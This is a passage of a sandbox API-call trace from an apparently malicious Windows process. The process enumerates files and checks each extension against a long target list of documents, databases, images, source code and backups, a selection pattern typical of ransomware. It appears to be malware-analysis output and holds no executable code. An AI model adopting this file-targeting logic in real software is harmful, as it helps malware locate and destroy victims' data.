ftLastWriteTime.dwLowDateTime=0x3c22e700, ftLastWriteTime.dwHighDateTime=0x1ca6669, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x7ff, dwReserved1=0x8000, cFileName="FONTSCHM.INI", cAlternateFileName="")) returned 1 [0263.647] lstrlenW (lpString="FONTSCHM.INI") returned 12 [0263.647] lstrlenW (lpString=".1cd") returned 4 [0263.647] lstrcmpiW (lpString1=".1cd", lpString2=".INI") returned -1 [0263.647] lstrlenW (lpString=".3ds") returned 4 [0263.647] lstrcmpiW (lpString1=".3ds", lpString2=".INI") returned -1 [0263.647] lstrlenW (lpString=".3fr") returned 4 [0263.647] lstrcmpiW (lpString1=".3fr", lpString2=".INI") returned -1 [0263.647] lstrlenW (lpString=".3g2") returned 4 [0263.647] lstrcmpiW (lpString1=".3g2", lpString2=".INI") returned -1 [0263.647] lstrlenW (lpString=".3gp") returned 4 [0263.647] lstrcmpiW (lpString1=".3gp", lpString2=".INI") returned -1 [0263.648] lstrlenW (lpString=".7z") returned 3 [0263.648] lstrcmpiW (lpString1=".7z", lpString2="INI") returned -1 [0263.648] lstrlenW (lpString=".accda") returned 6 [0263.648] lstrcmpiW (lpString1=".accda", lpString2="HM.INI") returned -1 [0263.648] lstrlenW (lpString=".accdb") returned 6 [0263.648] lstrcmpiW (lpString1=".accdb", lpString2="HM.INI") returned -1 [0263.648] lstrlenW (lpString=".accdc") returned 6 [0263.648] lstrcmpiW (lpString1=".accdc", lpString2="HM.INI") returned -1 [0263.648] lstrlenW (lpString=".accde") returned 6 [0263.648] lstrcmpiW (lpString1=".accde", lpString2="HM.INI") returned -1 [0263.648] lstrlenW (lpString=".accdt") returned 6 [0263.648] lstrcmpiW (lpString1=".accdt", lpString2="HM.INI") returned -1 [0263.648] lstrlenW (lpString=".accdw") returned 6 [0263.648] lstrcmpiW (lpString1=".accdw", lpString2="HM.INI") returned -1 [0263.648] lstrlenW (lpString=".adb") returned 4 [0263.648] lstrcmpiW (lpString1=".adb", lpString2=".INI") returned -1 [0263.648] lstrlenW (lpString=".adp") returned 4 [0263.648] lstrcmpiW (lpString1=".adp", lpString2=".INI") returned -1 [0263.648] lstrlenW (lpString=".ai") returned 3 [0263.648] lstrcmpiW (lpString1=".ai", lpString2="INI") returned -1 [0263.648] lstrlenW (lpString=".ai3") returned 4 [0263.648] lstrcmpiW (lpString1=".ai3", lpString2=".INI") returned -1 [0263.648] lstrlenW (lpString=".ai4") returned 4 [0263.648] lstrcmpiW (lpString1=".ai4", lpString2=".INI") returned -1 [0263.648] lstrlenW (lpString=".ai5") returned 4 [0263.648] lstrcmpiW (lpString1=".ai5", lpString2=".INI") returned -1 [0263.648] lstrlenW (lpString=".ai6") returned 4 [0263.648] lstrcmpiW (lpString1=".ai6", lpString2=".INI") returned -1 [0263.648] lstrlenW (lpString=".ai7") returned 4 [0263.648] lstrcmpiW (lpString1=".ai7", lpString2=".INI") returned -1 [0263.648] lstrlenW (lpString=".ai8") returned 4 [0263.648] lstrcmpiW (lpString1=".ai8", lpString2=".INI") returned -1 [0263.649] lstrlenW (lpString=".anim") returned 5 [0263.649] lstrcmpiW (lpString1=".anim", lpString2="M.INI") returned -1 [0263.649] lstrlenW (lpString=".arw") returned 4 [0263.649] lstrcmpiW (lpString1=".arw", lpString2=".INI") returned -1 [0263.649] lstrlenW (lpString=".as") returned 3 [0263.649] lstrcmpiW (lpString1=".as", lpString2="INI") returned -1 [0263.649] lstrlenW (lpString=".asa") returned 4 [0263.649] lstrcmpiW (lpString1=".asa", lpString2=".INI") returned -1 [0263.649] lstrlenW (lpString=".asc") returned 4 [0263.649] lstrcmpiW (lpString1=".asc", lpString2=".INI") returned -1 [0263.649] lstrlenW (lpString=".ascx") returned 5 [0263.649] lstrcmpiW (lpString1=".ascx", lpString2="M.INI") returned -1 [0263.649] lstrlenW (lpString=".asm") returned 4 [0263.649] lstrcmpiW (lpString1=".asm", lpString2=".INI") returned -1 [0263.649] lstrlenW (lpString=".asmx") returned 5 [0263.649] lstrcmpiW (lpString1=".asmx", lpString2="M.INI") returned -1 [0263.649] lstrlenW (lpString=".asp") returned 4 [0263.649] lstrcmpiW (lpString1=".asp", lpString2=".INI") returned -1 [0263.649] lstrlenW (lpString=".aspx") returned 5 [0263.649] lstrcmpiW (lpString1=".aspx", lpString2="M.INI") returned -1 [0263.649] lstrlenW (lpString=".asr") returned 4 [0263.649] lstrcmpiW (lpString1=".asr", lpString2=".INI") returned -1 [0263.649] lstrlenW (lpString=".asx") returned 4 [0263.649] lstrcmpiW (lpString1=".asx", lpString2=".INI") returned -1 [0263.649] lstrlenW (lpString=".avi") returned 4 [0263.649] lstrcmpiW (lpString1=".avi", lpString2=".INI") returned -1 [0263.649] lstrlenW (lpString=".avs") returned 4 [0263.649] lstrcmpiW (lpString1=".avs", lpString2=".INI") returned -1 [0263.649] lstrlenW (lpString=".backup") returned 7 [0263.649] lstrcmpiW (lpString1=".backup", lpString2="CHM.INI") returned -1 [0263.650] lstrlenW (lpString=".bak") returned 4 [0263.650] lstrcmpiW (lpString1=".bak", lpString2=".INI") returned -1 [0263.650] lstrlenW (lpString=".bay") returned 4 [0263.650] lstrcmpiW (lpString1=".bay", lpString2=".INI") returned -1 [0263.650] lstrlenW (lpString=".bd") returned 3 [0263.650] lstrcmpiW (lpString1=".bd", lpString2="INI") returned -1 [0263.650] lstrlenW (lpString=".bin") returned 4 [0263.650] lstrcmpiW (lpString1=".bin", lpString2=".INI") returned -1 [0263.650] lstrlenW (lpString=".bmp") returned 4 [0263.650] lstrcmpiW (lpString1=".bmp", lpString2=".INI") returned -1 [0263.650] lstrlenW (lpString=".bz2") returned 4 [0263.650] lstrcmpiW (lpString1=".bz2", lpString2=".INI") returned -1 [0263.650] lstrlenW (lpString=".c") returned 2 [0263.650] lstrcmpiW (lpString1=".c", lpString2="NI") returned -1 [0263.650] lstrlenW (lpString=".cdr") returned 4 [0263.650] lstrcmpiW (lpString1=".cdr", lpString2=".INI") returned -1 [0263.650] lstrlenW (lpString=".cer") returned 4 [0263.650] lstrcmpiW (lpString1=".cer", lpString2=".INI") returned -1 [0263.650] lstrlenW (lpString=".cf") returned 3 [0263.650] lstrcmpiW (lpString1=".cf", lpString2="INI") returned -1 [0263.650] lstrlenW (lpString=".cfc") returned 4 [0263.650] lstrcmpiW (lpString1=".cfc", lpString2=".INI") returned -1 [0263.650] lstrlenW (lpString=".cfm") returned 4 [0263.650] lstrcmpiW (lpString1=".cfm", lpString2=".INI") returned -1 [0263.650] lstrlenW (lpString=".cfml") returned 5 [0263.650] lstrcmpiW (lpString1=".cfml", lpString2="M.INI") returned -1 [0263.650] lstrlenW (lpString=".cfu") returned 4 [0263.650] lstrcmpiW (lpString1=".cfu", lpString2=".INI") returned -1 [0263.650] lstrlenW (lpString=".chm") returned 4 [0263.650] lstrcmpiW (lpString1=".chm", lpString2=".INI") returned -1 [0263.650] lstrlenW (lpString=".cin") returned 4 [0263.651] lstrcmpiW (lpString1=".cin", lpString2=".INI") returned -1 [0263.651] lstrlenW (lpString=".class") returned 6 [0263.651] lstrcmpiW (lpString1=".class", lpString2="HM.INI") returned -1 [0263.651] lstrlenW (lpString=".clx") returned 4 [0263.651] lstrcmpiW (lpString1=".clx", lpString2=".INI") returned -1 [0263.651] lstrlenW (lpString=".config") returned 7 [0263.651] lstrcmpiW (lpString1=".config", lpString2="CHM.INI") returned -1 [0263.651] lstrlenW (lpString=".cpp") returned 4 [0263.651] lstrcmpiW (lpString1=".cpp", lpString2=".INI") returned -1 [0263.651] lstrlenW (lpString=".cr2") returned 4 [0263.651] lstrcmpiW (lpString1=".cr2", lpString2=".INI") returned -1 [0263.651] lstrlenW (lpString=".crt") returned 4 [0263.651] lstrcmpiW (lpString1=".crt", lpString2=".INI") returned -1 [0263.651] lstrlenW (lpString=".crw") returned 4 [0263.651] lstrcmpiW (lpString1=".crw", lpString2=".INI") returned -1 [0263.651] lstrlenW (lpString=".cs") returned 3 [0263.651] lstrcmpiW (lpString1=".cs", lpString2="INI") returned -1 [0263.651] lstrlenW (lpString=".css") returned 4 [0263.651] lstrcmpiW (lpString1=".css", lpString2=".INI") returned -1 [0263.651] lstrlenW (lpString=".csv") returned 4 [0263.651] lstrcmpiW (lpString1=".csv", lpString2=".INI") returned -1 [0263.651] lstrlenW (lpString=".cub") returned 4 [0263.651] lstrcmpiW (lpString1=".cub", lpString2=".INI") returned -1 [0263.651] lstrlenW (lpString=".dae") returned 4 [0263.651] lstrcmpiW (lpString1=".dae", lpString2=".INI") returned -1 [0263.651] lstrlenW (lpString=".dat") returned 4 [0263.651] lstrcmpiW (lpString1=".dat", lpString2=".INI") returned -1 [0263.651] lstrlenW (lpString=".db") returned 3 [0263.651] lstrcmpiW (lpString1=".db", lpString2="INI") returned -1 [0263.651] lstrlenW (lpString=".dbf") returned 4 [0263.651] lstrcmpiW (lpString1=".dbf", lpString2=".INI") returned -1 [0263.651] lstrlenW (lpString=".dbx") returned 4 [0263.651] lstrcmpiW (lpString1=".dbx", lpString2=".INI") returned -1 [0263.651] lstrlenW (lpString=".dc3") returned 4 [0263.652] lstrcmpiW (lpString1=".dc3", lpString2=".INI") returned -1 [0263.652] lstrlenW (lpString=".dcm") returned 4 [0263.652] lstrcmpiW (lpString1=".dcm", lpString2=".INI") returned -1 [0263.652] lstrlenW (lpString=".dcr") returned 4 [0263.652] lstrcmpiW (lpString1=".dcr", lpString2=".INI") returned -1 [0263.652] lstrlenW (lpString=".der") returned 4 [0263.652] lstrcmpiW (lpString1=".der", lpString2=".INI") returned -1 [0263.652] lstrlenW (lpString=".dib") returned 4 [0263.652] lstrcmpiW (lpString1=".dib", lpString2=".INI") returned -1 [0263.652] lstrlenW (lpString=".dic") returned 4 [0263.652] lstrcmpiW (lpString1=".dic", lpString2=".INI") returned -1 [0263.652] lstrlenW (lpString=".dif") returned 4 [0263.652] lstrcmpiW (lpString1=".dif", lpString2=".INI") returned -1 [0263.652] lstrlenW (lpString=".divx") returned 5 [0263.652] lstrcmpiW (lpString1=".divx", lpString2="M.INI") returned -1 [0263.652] lstrlenW (lpString=".djvu") returned 5 [0263.652] lstrcmpiW (lpString1=".djvu", lpString2="M.INI") returned -1 [0263.652] lstrlenW (lpString=".dng") returned 4 [0263.652] lstrcmpiW (lpString1=".dng", lpString2=".INI") returned -1 [0263.652] lstrlenW (lpString=".doc") returned 4 [0263.652] lstrcmpiW (lpString1=".doc", lpString2=".INI") returned -1 [0263.652] lstrlenW (lpString=".docm") returned 5 [0263.652] lstrcmpiW (lpString1=".docm", lpString2="M.INI") returned -1 [0263.652] lstrlenW (lpString=".docx") returned 5 [0263.652] lstrcmpiW (lpString1=".docx", lpString2="M.INI") returned -1 [0263.652] lstrlenW (lpString=".dot") returned 4 [0263.652] lstrcmpiW (lpString1=".dot", lpString2=".INI") returned -1 [0263.652] lstrlenW (lpString=".dotm") returned 5 [0263.652] lstrcmpiW (lpString1=".dotm", lpString2="M.INI") returned -1 [0263.653] lstrlenW (lpString=".dotx") returned 5 [0263.653] lstrcmpiW (lpString1=".dotx", lpString2="M.INI") returned -1 [0263.653] lstrlenW (lpString=".dpx") returned 4 [0263.653] lstrcmpiW (lpString1=".dpx", lpString2=".INI") returned -1 [0263.653] lstrlenW (lpString=".dqy") returned 4 [0263.653] lstrcmpiW (lpString1=".dqy", lpString2=".INI") returned -1 [0263.653] lstrlenW (lpString=".dsn") returned 4 [0263.653] lstrcmpiW (lpString1=".dsn", lpString2=".INI") returned -1 [0263.653] lstrlenW (lpString=".dt") returned 3 [0263.653] lstrcmpiW (lpString1=".dt", lpString2="INI") returned -1 [0263.653] lstrlenW (lpString=".dtd") returned 4 [0263.653] lstrcmpiW (lpString1=".dtd", lpString2=".INI") returned -1 [0263.653] lstrlenW (lpString=".dwg") returned 4 [0263.653] lstrcmpiW (lpString1=".dwg", lpString2=".INI") returned -1 [0263.653] lstrlenW (lpString=".dwt") returned 4 [0263.653] lstrcmpiW (lpString1=".dwt", lpString2=".INI") returned -1 [0263.654] lstrlenW (lpString=".dx") returned 3 [0263.654] lstrcmpiW (lpString1=".dx", lpString2="INI") returned -1 [0263.654] lstrlenW (lpString=".dxf") returned 4 [0263.654] lstrcmpiW (lpString1=".dxf", lpString2=".INI") returned -1 [0263.654] lstrlenW (lpString=".edml") returned 5 [0263.654] lstrcmpiW (lpString1=".edml", lpString2="M.INI") returned -1 [0263.654] lstrlenW (lpString=".efd") returned 4 [0263.654] lstrcmpiW (lpString1=".efd", lpString2=".INI") returned -1 [0263.654] lstrlenW (lpString=".elf") returned 4 [0263.654] lstrcmpiW (lpString1=".elf", lpString2=".INI") returned -1 [0263.654] lstrlenW (lpString=".emf") returned 4 [0263.654] lstrcmpiW (lpString1=".emf", lpString2=".INI") returned -1 [0263.654] lstrlenW (lpString=".emz") returned 4 [0263.654] lstrcmpiW (lpString1=".emz", lpString2=".INI") returned -1 [0263.654] lstrlenW (lpString=".epf") returned 4 [0263.654] lstrcmpiW (lpString1=".epf", lpString2=".INI") returned -1 [0263.654] lstrlenW (lpString=".eps") returned 4 [0263.654] lstrcmpiW (lpString1=".eps", lpString2=".INI") returned -1 [0263.654] lstrlenW (lpString=".epsf") returned 5 [0263.654] lstrcmpiW (lpString1=".epsf", lpString2="M.INI") returned -1 [0263.654] lstrlenW (lpString=".epsp") returned 5 [0263.654] lstrcmpiW (lpString1=".epsp", lpString2="M.INI") returned -1 [0263.654] lstrlenW (lpString=".erf") returned 4 [0263.654] lstrcmpiW (lpString1=".erf", lpString2=".INI") returned -1 [0263.654] lstrlenW (lpString=".exr") returned 4 [0263.654] lstrcmpiW (lpString1=".exr", lpString2=".INI") returned -1 [0263.654] lstrlenW (lpString=".f4v") returned 4 [0263.654] lstrcmpiW (lpString1=".f4v", lpString2=".INI") returned -1 [0263.654] lstrlenW (lpString=".fido") returned 5 [0263.655] lstrcmpiW (lpString1=".fido", lpString2="M.INI") returned -1 [0263.655] lstrlenW (lpString=".flm") returned 4 [0263.655] lstrcmpiW (lpString1=".flm", lpString2=".INI") returned -1 [0263.655] lstrlenW (lpString=".flv") returned 4 [0263.655] lstrcmpiW (lpString1=".flv", lpString2=".INI") returned -1 [0263.655] lstrlenW (lpString=".frm") returned 4 [0263.655] lstrcmpiW (lpString1=".frm", lpString2=".INI") returned -1 [0263.655] lstrlenW (lpString=".fxg") returned 4 [0263.655] lstrcmpiW (lpString1=".fxg", lpString2=".INI") returned -1 [0263.655] lstrlenW (lpString=".geo") returned 4 [0263.655] lstrcmpiW (lpString1=".geo", lpString2=".INI") returned -1 [0263.655] lstrlenW (lpString=".gif") returned 4 [0263.655] lstrcmpiW (lpString1=".gif", lpString2=".INI") returned -1 [0263.655] lstrlenW (lpString=".grs") returned 4 [0263.655] lstrcmpiW (lpString1=".grs", lpString2=".INI") returned -1 [0263.655] lstrlenW (lpString=".gz") returned 3 [0263.655] lstrcmpiW (lpString1=".gz", lpString2="INI") returned -1 [0263.655] lstrlenW (lpString=".h") returned 2 [0263.655] lstrcmpiW (lpString1=".h", lpString2="NI") returned -1 [0263.655] lstrlenW (lpString=".hdr") returned 4 [0263.655] lstrcmpiW (lpString1=".hdr", lpString2=".INI") returned -1 [0263.655] lstrlenW (lpString=".hpp") returned 4 [0263.655] lstrcmpiW (lpString1=".hpp", lpString2=".INI") returned -1 [0263.655] lstrlenW (lpString=".hta") returned 4 [0263.655] lstrcmpiW (lpString1=".hta", lpString2=".INI") returned -1 [0263.655] lstrlenW (lpString=".htc") returned 4 [0263.655] lstrcmpiW (lpString1=".htc", lpString2=".INI") returned -1 [0263.655] lstrlenW (lpString=".htm") returned 4 [0263.655] lstrcmpiW (lpString1=".htm", lpString2=".INI") returned -1 [0263.656] lstrlenW (lpString=".html") returned 5 [0263.656] lstrcmpiW (lpString1=".html", lpString2="M.INI") returned -1 [0263.656] lstrlenW (lpString=".icb") returned 4 [0263.656] lstrcmpiW (lpString1=".icb", lpString2=".INI") returned -1 [0263.656] lstrlenW (lpString=".ics") returned 4 [0263.656] lstrcmpiW (lpString1=".ics", lpString2=".INI") returned -1 [0263.656] lstrlenW (lpString=".iff") returned 4 [0263.656] lstrcmpiW (lpString1=".iff", lpString2=".INI") returned -1 [0263.656] lstrlenW (lpString=".inc") returned 4 [0263.656] lstrcmpiW (lpString1=".inc", lpString2=".INI") returned -1 [0263.656] lstrlenW (lpString=".indd") returned 5 [0263.656] lstrcmpiW (lpString1=".indd", lpString2="M.INI") returned -1 [0263.656] lstrlenW (lpString=".ini") returned 4 [0263.656] lstrcmpiW (lpString1=".ini", lpString2=".INI") returned 0 [0263.656] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47994900, ftCreationTime.dwHighDateTime=0x1ca1577, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47994900, ftLastWriteTime.dwHighDateTime=0x1ca1577, nFileSizeHigh=0x0, nFileSizeLow=0x1eea6, dwReserved0=0x7ff, dwReserved1=0x8000, cFileName="SCHEME01.CSS", cAlternateFileName="")) returned 1 [0263.656] lstrlenW (lpString="SCHEME01.CSS") returned 12 [0263.656] lstrlenW (lpString=".1cd") returned 4 [0263.656] lstrcmpiW (lpString1=".1cd", lpString2=".CSS") returned -1 [0263.656] lstrlenW (lpString=".3ds") returned 4 [0263.656] lstrcmpiW (lpString1=".3ds", lpString2=".CSS") returned -1 [0263.656] lstrlenW (lpString=".3fr") returned 4 [0263.656] lstrcmpiW (lpString1=".3fr", lpString2=".CSS") returned -1 [0263.656] lstrlenW (lpString=".3g2") returned 4 [0263.656] lstrcmpiW (lpString1=".3g2", lpString2=".CSS") returned -1 [0263.656] lstrlenW (lpString=".3gp") returned 4 [0263.656] lstrcmpiW (lpString1=".3gp", lpString2=".CSS") returned -1 [0263.656] lstrlenW (lpString=".7z") returned 3 [0263.656] lstrcmpiW (lpString1=".7z", lpString2="CSS") returned -1 [0263.657] lstrlenW (lpString=".accda") returned 6 [0263.657] lstrcmpiW (lpString1=".accda", lpString2="01.CSS") returned -1 [0263.657] lstrlenW (lpString=".accdb") returned 6 [0263.657] lstrcmpiW (lpString1=".accdb", lpString2="01.CSS") returned -1 [0263.657] lstrlenW (lpString=".accdc") returned 6 [0263.657] lstrcmpiW (lpString1=".accdc", lpString2="01.CSS") returned -1 [0263.657] lstrlenW (lpString=".accde") returned 6 [0263.657] lstrcmpiW (lpString1=".accde", lpString2="01.CSS") returned -1 [0263.657] lstrlenW (lpString=".accdt") returned 6 [0263.657] lstrcmpiW (lpString1=".accdt", lpString2="01.CSS") returned -1 [0263.657] lstrlenW (lpString=".accdw") returned 6 [0263.657] lstrcmpiW (lpString1=".accdw", lpString2="01.CSS") returned -1 [0263.657] lstrlenW (lpString=".adb") returned 4 [0263.657] lstrcmpiW (lpString1=".adb", lpString2=".CSS") returned -1 [0263.657] lstrlenW (lpString=".adp") returned 4 [0263.657] lstrcmpiW (lpString1=".adp", lpString2=".CSS") returned -1 [0263.657] lstrlenW (lpString=".ai") returned 3 [0263.657] lstrcmpiW (lpString1=".ai", lpString2="CSS") returned -1 [0263.657] lstrlenW (lpString=".ai3") returned 4 [0263.657] lstrcmpiW (lpString1=".ai3", lpString2=".CSS") returned -1 [0263.657] lstrlenW (lpString=".ai4") returned 4 [0263.657] lstrcmpiW (lpString1=".ai4", lpString2=".CSS") returned -1 [0263.657] lstrlenW (lpString=".ai5") returned 4 [0263.657] lstrcmpiW (lpString1=".ai5", lpString2=".CSS") returned -1 [0263.657] lstrlenW (lpString=".ai6") returned 4 [0263.657] lstrcmpiW (lpString1=".ai6", lpString2=".CSS") returned -1 [0263.657] lstrlenW (lpString=".ai7") returned 4 [0263.657] lstrcmpiW (lpString1=".ai7", lpString2=".CSS") returned -1 [0263.657] lstrlenW (lpString=".ai8") returned 4 [0263.657] lstrcmpiW (lpString1=".ai8", lpString2=".CSS") returned -1 [0263.658] lstrlenW (lpString=".anim") returned 5 [0263.658] lstrcmpiW (lpString1=".anim", lpString2="1.CSS") returned -1 [0263.658] lstrlenW (lpString=".arw") returned 4 [0263.658] lstrcmpiW (lpString1=".arw", lpString2=".CSS") returned -1 [0263.658] lstrlenW (lpString=".as") returned 3 [0263.658] lstrcmpiW (lpString1=".as", lpString2="CSS") returned -1 [0263.658] lstrlenW (lpString=".asa") returned 4 [0263.658] lstrcmpiW (lpString1=".asa", lpString2=".CSS") returned -1 [0263.658] lstrlenW (lpString=".asc") returned 4 [0263.658] lstrcmpiW (lpString1=".asc", lpString2=".CSS") returned -1 [0263.658] lstrlenW (lpString=".ascx") returned 5 [0263.658] lstrcmpiW (lpString1=".ascx", lpString2="1.CSS") returned -1 [0263.658] lstrlenW (lpString=".asm") returned 4 [0263.658] lstrcmpiW (lpString1=".asm", lpString2=".CSS") returned -1 [0263.658] lstrlenW (lpString=".asmx") returned 5 [0263.658] lstrcmpiW (lpString1=".asmx", lpString2="1.CSS") returned -1 [0263.658] lstrlenW (lpString=".asp") returned 4 [0263.658] lstrcmpiW (lpString1=".asp", lpString2=".CSS") returned -1 [0263.658] lstrlenW (lpString=".aspx") returned 5 [0263.658] lstrcmpiW (lpString1=".aspx", lpString2="1.CSS") returned -1 [0263.658] lstrlenW (lpString=".asr") returned 4 [0263.658] lstrcmpiW (lpString1=".asr", lpString2=".CSS") returned -1 [0263.658] lstrlenW (lpString=".asx") returned 4 [0263.658] lstrcmpiW (lpString1=".asx", lpString2=".CSS") returned -1 [0263.658] lstrlenW (lpString=".avi") returned 4 [0263.658] lstrcmpiW (lpString1=".avi", lpString2=".CSS") returned -1 [0263.658] lstrlenW (lpString=".avs") returned 4 [0263.658] lstrcmpiW (lpString1=".avs", lpString2=".CSS") returned -1 [0263.658] lstrlenW (lpString=".backup") returned 7 [0263.658] lstrcmpiW (lpString1=".backup", lpString2="E01.CSS") returned -1 [0263.659] lstrlenW (lpString=".bak") returned 4 [0263.659] lstrcmpiW (lpString1=".bak", lpString2=".CSS") returned -1 [0263.659] lstrlenW (lpString=".bay") returned 4 [0263.659] lstrcmpiW (lpString1=".bay", lpString2=".CSS") returned -1 [0263.659] lstrlenW (lpString=".bd") returned 3 [0263.659] lstrcmpiW (lpString1=".bd", lpString2="CSS") returned -1 [0263.659] lstrlenW (lpString=".bin") returned 4 [0263.659] lstrcmpiW (lpString1=".bin", lpString2=".CSS") returned -1 [0263.659] lstrlenW (lpString=".bmp") returned 4 [0263.659] lstrcmpiW (lpString1=".bmp", lpString2=".CSS") returned -1 [0263.659] lstrlenW (lpString=".bz2") returned 4 [0263.659] lstrcmpiW (lpString1=".bz2", lpString2=".CSS") returned -1 [0263.659] lstrlenW (lpString=".c") returned 2 [0263.659] lstrcmpiW (lpString1=".c", lpString2="SS") returned -1 [0263.659] lstrlenW (lpString=".cdr") returned 4 [0263.659] lstrcmpiW (lpString1=".cdr", lpString2=".CSS") returned -1 [0263.659] lstrlenW (lpString=".cer") returned 4 [0263.659] lstrcmpiW (lpString1=".cer", lpString2=".CSS") returned -1 [0263.659] lstrlenW (lpString=".cf") returned 3 [0263.659] lstrcmpiW (lpString1=".cf", lpString2="CSS") returned -1 [0263.659] lstrlenW (lpString=".cfc") returned 4 [0263.660] lstrcmpiW (lpString1=".cfc", lpString2=".CSS") returned -1 [0263.660] lstrlenW (lpString=".cfm") returned 4 [0263.660] lstrcmpiW (lpString1=".cfm", lpString2=".CSS") returned -1 [0263.660] lstrlenW (lpString=".cfml") returned 5 [0263.660] lstrcmpiW (lpString1=".cfml", lpString2="1.CSS") returned -1 [0263.660] lstrlenW (lpString=".cfu") returned 4 [0263.660] lstrcmpiW (lpString1=".cfu", lpString2=".CSS") returned -1 [0263.660] lstrlenW (lpString=".chm") returned 4 [0263.660] lstrcmpiW (lpString1=".chm", lpString2=".CSS") returned -1 [0263.660] lstrlenW (lpString=".cin") returned 4 [0263.660] lstrcmpiW (lpString1=".cin", lpString2=".CSS") returned -1 [0263.660] lstrlenW (lpString=".class") returned 6 [0263.660] lstrcmpiW (lpString1=".class", lpString2="01.CSS") returned -1 [0263.660] lstrlenW (lpString=".clx") returned 4 [0263.660] lstrcmpiW (lpString1=".clx", lpString2=".CSS") returned -1 [0263.660] lstrlenW (lpString=".config") returned 7 [0263.660] lstrcmpiW (lpString1=".config", lpString2="E01.CSS") returned -1 [0263.660] lstrlenW (lpString=".cpp") returned 4 [0263.660] lstrcmpiW (lpString1=".cpp", lpString2=".CSS") returned -1 [0263.660] lstrlenW (lpString=".cr2") returned 4 [0263.660] lstrcmpiW (lpString1=".cr2", lpString2=".CSS") returned -1 [0263.660] lstrlenW (lpString=".crt") returned 4 [0263.660] lstrcmpiW (lpString1=".crt", lpString2=".CSS") returned -1 [0263.660] lstrlenW (lpString=".crw") returned 4 [0263.660] lstrcmpiW (lpString1=".crw", lpString2=".CSS") returned -1 [0263.660] lstrlenW (lpString=".cs") returned 3 [0263.660] lstrcmpiW (lpString1=".cs", lpString2="CSS") returned -1 [0263.660] lstrlenW (lpString=".css") returned 4 [0263.660] lstrcmpiW (lpString1=".css", lpString2=".CSS") returned 0 [0263.660] FindNextFileW (in: hFindFile=0x63f108, lpFindFileData=0x372f094 | out: lpFindFileData=0x372f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b96a700, ftCreationTime.dwHighDateTime=0x1ca1579, ftLastAccessTime.dwLowDateTime=0x1bbf17f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2b96a700, ftLastWriteTime.dwHighDateTime=0x1ca1579, nFileSizeHigh=0x0, nFileSizeLow=0x1fbbe, dwReserved0=0x7ff, dwReserved1=0x8000, cFileName="SCHEME02.CSS", cAlternateFileName="")) returned 1 [0263.661] lstrlenW (lpString="SCHEME02.CSS") returned 12 [0263.661] lstrlenW (lpString=".1cd") returned 4 [0263.661] lstrcmpiW (lpString1=".1cd", lpString2=".CSS") returned -1 [0263.661] lstrlenW (lpString=".3ds") returned 4 [0263.661] lstrcmpiW (lpString1=".3ds", lpString2=".CSS") returned -1 [0263.661] lstrlenW (lpString=".3fr") returned 4 [0263.661] lstrcmpiW (lpString1=".3fr", lpString2=".CSS") returned -1 [0263.661] lstrlenW (lpString=".3g2") returned 4 [0263.661] lstrcmpiW (lpString1=".3g2", lpString2=".CSS") returned -1 [0263.661] lstrlenW (lpString=".3gp") returned 4 [0263.661] lstrcmpiW (lpString1=".3gp", lpString2=".CSS") returned -1 [0263.661] lstrlenW (lpString=".7z") returned 3 [0263.661] lstrcmpiW (lpString1=".7z", lpString2="CSS") returned -1 [0263.661] lstrlenW (lpString=".accda") returned 6 [0263.661] lstrcmpiW (lpString1=".accda", lpString2="02.CSS") returned -1 [0263.661] lstrlenW (lpString=".accdb") returned 6 [0263.661] lstrcmpiW (lpString1=".accdb", lpString2="02.CSS") returned -1 [0263.661] lstrlenW (lpString=".accdc") returned 6 [0263.661] lstrcmpiW (lpString1=".accdc", lpString2="02.CSS") returned -1 [0263.661] lstrlenW (lpString=".accde") returned 6 [0263.661] lstrcmpiW (lpString1=".accde", lpString2="02.CSS") returned -1 [0263.661] lstrlenW (lpString=".accdt") returned 6 [0263.661] lstrcmpiW (lpString1=".accdt", lpString2="02.CSS") returned -1 [0263.661] lstrlenW (lpString=".accdw") returned 6 [0263.661] lstrcmpiW (lpString1=".accdw", lpString2="02.CSS") returned -1 [0263.661] lstrlenW (lpString=".adb") returned 4 [0263.661] lstrcmpiW (lpString1=".adb", lpString2=".CSS") returned -1 [0263.661] lstrlenW (lpString=".adp") returned 4 [0263.662] lstrcmpiW (lpString1=".adp", lpString2=".CSS") returned -1 [0263.662] lstrlenW (lpString=".ai") returned 3 [0263.662] lstrcmpiW (lpString1=".ai", lpString2="CSS") returned -1 [0263.662] lstrlenW (lpString=".ai3") returned 4 [0263.662] lstrcmpiW (lpString1=".ai3", lpString2=".CSS") returned -1 [0263.662] lstrlenW (lpString=".ai4") returned 4 [0263.662] lstrcmpiW (lpString1=".ai4", lpString2=".CSS") returned -1 [0263.662] lstrlenW (lpString=".ai5") returned 4 [0263.662] lstrcmpiW (lpString1=".ai5", lpString2=".CSS") returned -1 [0263.662] lstrlenW (lpString=".ai6") returned 4 [0263.662] lstrcmpiW (lpString1=".ai6", lpString2=".CSS") returned -1 [0263.662] lstrlenW (lpString=".ai7") returned 4 [0263.662] lstrcmpiW (lpString1=".ai7", lpString2=".CSS") returned -1 [0263.662] lstrlenW (lpString=".ai8") returned 4 [0263.662] lstrcmpiW (lpString1=".ai8", lpString2=".CSS") returned -1 [0263.662] lstrlenW (lpString=".anim") returned 5 [0263.662] lstrcmpiW (lpString1=".anim", lpString2="2.CSS") returned -1 [0263.662] lstrlenW (lpString=".arw") returned 4 [0263.662] lstrcmpiW (lpString1=".arw", lpString2=".CSS") returned -1 [0263.662] lstrlenW (lpString=".as") returned 3 [0263.662] lstrcmpiW (lpString1=".as", lpString2="CSS") returned -1 [0263.662] lstrlenW (lpString=".asa") returned 4 [0263.662] lstrcmpiW (lpString1=".asa", lpString2=".CSS") returned -1 [0263.662] lstrlenW (lpString=".asc") returned 4 [0263.662] lstrcmpiW (lpString1=".asc", lpString2=".CSS") returned -1 [0263.662] lstrlenW (lpString=".ascx") returned 5 [0263.662] lstrcmpiW (lpString1=".ascx", lpString2="2.CSS") returned -1 [0263.662] lstrlenW (lpString=".asm") returned 4 [0263.663] lstrcmpiW (lpString1=".asm", lpString2=".CSS") returned -1 [0263.663] lstrlenW 